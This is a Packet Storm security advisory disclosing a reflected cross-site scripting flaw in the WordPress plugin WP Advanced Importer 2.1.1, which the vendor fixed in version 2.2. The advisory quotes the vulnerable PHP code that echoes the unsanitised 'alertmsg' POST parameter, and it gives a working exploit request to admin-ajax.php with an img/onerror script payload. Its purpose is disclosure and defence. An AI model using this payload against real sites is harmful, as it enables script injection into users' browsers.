WordPress WP Advanced Importer 2.1.1 Cross Site Scripting

2016-02-24T00:00:00
ID PACKETSTORM:135926
Type packetstorm
Reporter Rahul Pratap Singh
Modified 2016-02-24T00:00:00

Description

                                        
                                            `## FULL DISCLOSURE  
  
  
#Product : WP Advanced Importer  
#Exploit Author : Rahul Pratap Singh  
#Version : 2.1.1  
#Home page Link : https://wordpress.org/plugins/wp-advanced-importer/  
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date : 23/Feb/2016  
  
XSS Vulnerability:  
  
----------------------------------------  
Description:  
----------------------------------------  
"alertmsg" parameter is not sanitized that leads to Reflected XSS.  
  
----------------------------------------  
Vulnerable Code:  
----------------------------------------  
File: index.php  
  
function trans_xmlalert_str(){  
if(isset($_POST['alertmsg']))  
echo __($_POST['alertmsg'],'wp-advanced-importer');  
  
die();  
  
----------------------------------------  
Exploit:  
----------------------------------------  
POST wordpress/wp-admin/admin-ajax.php  
  
action=trans_xmlalert_str&alertmsg="><img src=x onerror=alert(1)>  
  
  
----------------------------------------  
POC:  
----------------------------------------  
https://0x62626262.files.wordpress.com/2016/02/wp-advanced-importerxsspoc.png?w=1700  
  
Fix:  
Update to 2.2  
  
Vulnerability Disclosure Timeline:  
→ January 30, 2016 – Bug discovered, initial report to WordPress  
→ February 1, 2016 – WordPress response, plugin taken down  
→ February 23, 2016 – Vendor Deployed a Patch  
  
#######################################  
# CTG SECURITY SOLUTIONS #  
# www.ctgsecuritysolutions.com<http://www.ctgsecuritysolutions.com/> #  
#######################################  
  
Pub Ref:  
https://wordpress.org/plugins/wp-advanced-importer/changelog/  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
`